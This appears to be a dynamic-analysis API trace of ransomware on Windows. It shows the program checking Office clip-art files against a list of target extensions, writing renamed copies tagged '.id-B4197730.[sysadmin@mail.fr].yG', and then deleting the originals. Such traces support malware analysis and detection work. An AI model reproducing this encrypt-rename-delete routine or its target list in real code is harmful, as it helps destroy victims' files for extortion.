	[0149.074] lstrlenW (lpString=".bz2") returned 4
	[0149.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.074] lstrlenW (lpString=".7z") returned 3
	[0149.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.074] lstrlenW (lpString=".dbf") returned 4
	[0149.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.075] lstrlenW (lpString=".1cd") returned 4
	[0149.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.075] lstrlenW (lpString=".jpg") returned 4
	[0149.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.075] lstrlenW (lpString=".doc") returned 4
	[0149.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.075] lstrlenW (lpString=".docx") returned 5
	[0149.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.075] lstrlenW (lpString=".pdf") returned 4
	[0149.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.075] lstrlenW (lpString=".xls") returned 4
	[0149.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.075] lstrlenW (lpString=".xlsx") returned 5
	[0149.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.075] lstrlenW (lpString=".ppt") returned 4
	[0149.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.076] lstrlenW (lpString=".zip") returned 4
	[0149.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.076] lstrlenW (lpString=".rar") returned 4
	[0149.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.076] lstrlenW (lpString=".bz2") returned 4
	[0149.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.076] lstrlenW (lpString=".7z") returned 3
	[0149.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.076] lstrlenW (lpString=".dbf") returned 4
	[0149.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.076] lstrlenW (lpString=".1cd") returned 4
	[0149.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.076] lstrlenW (lpString=".jpg") returned 4
	[0149.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.076] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.076] lstrlenW (lpString="FD02075_.WMF") returned 12
	[0149.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0149.077] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4396) returned 1
	[0149.077] CloseHandle (hObject=0x4a4) returned 1
	[0149.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220
	[0149.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0149.078] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.078] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0149.079] GetLastError () returned 0x0
	[0149.079] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x112c, lpOverlapped=0x0) returned 1
	[0149.087] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1130, lpOverlapped=0x0) returned 1
	[0149.089] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.089] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.089] SetEndOfFile (hFile=0x518) returned 1
	[0149.089] CloseHandle (hObject=0x518) returned 1
	[0149.090] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.090] SetEndOfFile (hFile=0x4a4) returned 1
	[0149.094] CloseHandle (hObject=0x4a4) returned 1
	[0149.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1
	[0149.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.095] lstrlenW (lpString=".doc") returned 4
	[0149.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.095] lstrlenW (lpString=".docx") returned 5
	[0149.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.096] lstrlenW (lpString=".pdf") returned 4
	[0149.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.096] lstrlenW (lpString=".xls") returned 4
	[0149.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.096] lstrlenW (lpString=".xlsx") returned 5
	[0149.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.096] lstrlenW (lpString=".ppt") returned 4
	[0149.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.096] lstrlenW (lpString=".zip") returned 4
	[0149.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.096] lstrlenW (lpString=".rar") returned 4
	[0149.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.096] lstrlenW (lpString=".bz2") returned 4
	[0149.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.096] lstrlenW (lpString=".7z") returned 3
	[0149.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.096] lstrlenW (lpString=".dbf") returned 4
	[0149.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.096] lstrlenW (lpString=".1cd") returned 4
	[0149.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.097] lstrlenW (lpString=".jpg") returned 4
	[0149.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.097] lstrlenW (lpString=".doc") returned 4
	[0149.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.097] lstrlenW (lpString=".docx") returned 5
	[0149.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.097] lstrlenW (lpString=".pdf") returned 4
	[0149.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.097] lstrlenW (lpString=".xls") returned 4
	[0149.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.097] lstrlenW (lpString=".xlsx") returned 5
	[0149.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.097] lstrlenW (lpString=".ppt") returned 4
	[0149.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.097] lstrlenW (lpString=".zip") returned 4
	[0149.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.097] lstrlenW (lpString=".rar") returned 4
	[0149.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.097] lstrlenW (lpString=".bz2") returned 4
	[0149.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.098] lstrlenW (lpString=".7z") returned 3
	[0149.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.098] lstrlenW (lpString=".dbf") returned 4
	[0149.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.098] lstrlenW (lpString=".1cd") returned 4
	[0149.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0149.098] lstrlenW (lpString=".jpg") returned 4
	[0149.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.098] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.099] lstrlenW (lpString="FD02088_.WMF") returned 12
	[0149.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.111] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3696) returned 1
	[0149.111] CloseHandle (hObject=0x52c) returned 1
	[0149.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220
	[0149.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.112] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.112] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0149.114] GetLastError () returned 0x0
	[0149.114] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xe70, lpOverlapped=0x0) returned 1
	[0149.160] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xe80, lpOverlapped=0x0) returned 1
	[0149.161] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.161] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.162] SetEndOfFile (hFile=0x54c) returned 1
	[0149.162] CloseHandle (hObject=0x54c) returned 1
	[0149.162] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.162] SetEndOfFile (hFile=0x52c) returned 1
	[0149.166] CloseHandle (hObject=0x52c) returned 1
	[0149.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1
	[0149.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.167] lstrlenW (lpString=".doc") returned 4
	[0149.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.167] lstrlenW (lpString=".docx") returned 5
	[0149.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.167] lstrlenW (lpString=".pdf") returned 4
	[0149.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.167] lstrlenW (lpString=".xls") returned 4
	[0149.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.167] lstrlenW (lpString=".xlsx") returned 5
	[0149.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.167] lstrlenW (lpString=".ppt") returned 4
	[0149.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.168] lstrlenW (lpString=".zip") returned 4
	[0149.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.168] lstrlenW (lpString=".rar") returned 4
	[0149.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.168] lstrlenW (lpString=".bz2") returned 4
	[0149.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.168] lstrlenW (lpString=".7z") returned 3
	[0149.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.168] lstrlenW (lpString=".dbf") returned 4
	[0149.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.168] lstrlenW (lpString=".1cd") returned 4
	[0149.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.168] lstrlenW (lpString=".jpg") returned 4
	[0149.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.168] lstrlenW (lpString=".doc") returned 4
	[0149.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.168] lstrlenW (lpString=".docx") returned 5
	[0149.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.168] lstrlenW (lpString=".pdf") returned 4
	[0149.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.168] lstrlenW (lpString=".xls") returned 4
	[0149.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.168] lstrlenW (lpString=".xlsx") returned 5
	[0149.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.169] lstrlenW (lpString=".ppt") returned 4
	[0149.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.169] lstrlenW (lpString=".zip") returned 4
	[0149.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.169] lstrlenW (lpString=".rar") returned 4
	[0149.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.169] lstrlenW (lpString=".bz2") returned 4
	[0149.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.169] lstrlenW (lpString=".7z") returned 3
	[0149.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.169] lstrlenW (lpString=".dbf") returned 4
	[0149.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.169] lstrlenW (lpString=".1cd") returned 4
	[0149.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0149.169] lstrlenW (lpString=".jpg") returned 4
	[0149.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.169] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.169] lstrlenW (lpString="FD02116_.WMF") returned 12
	[0149.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.170] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3988) returned 1
	[0149.170] CloseHandle (hObject=0x52c) returned 1
	[0149.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220
	[0149.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.171] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.171] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0149.172] GetLastError () returned 0x0
	[0149.172] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xf94, lpOverlapped=0x0) returned 1
	[0149.231] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0149.232] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.232] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.232] SetEndOfFile (hFile=0x54c) returned 1
	[0149.232] CloseHandle (hObject=0x54c) returned 1
	[0149.233] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.233] SetEndOfFile (hFile=0x52c) returned 1
	[0149.236] CloseHandle (hObject=0x52c) returned 1
	[0149.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1
	[0149.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.237] lstrlenW (lpString=".doc") returned 4
	[0149.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.237] lstrlenW (lpString=".docx") returned 5
	[0149.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.238] lstrlenW (lpString=".pdf") returned 4
	[0149.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.238] lstrlenW (lpString=".xls") returned 4
	[0149.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.238] lstrlenW (lpString=".xlsx") returned 5
	[0149.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.238] lstrlenW (lpString=".ppt") returned 4
	[0149.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.238] lstrlenW (lpString=".zip") returned 4
	[0149.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.238] lstrlenW (lpString=".rar") returned 4
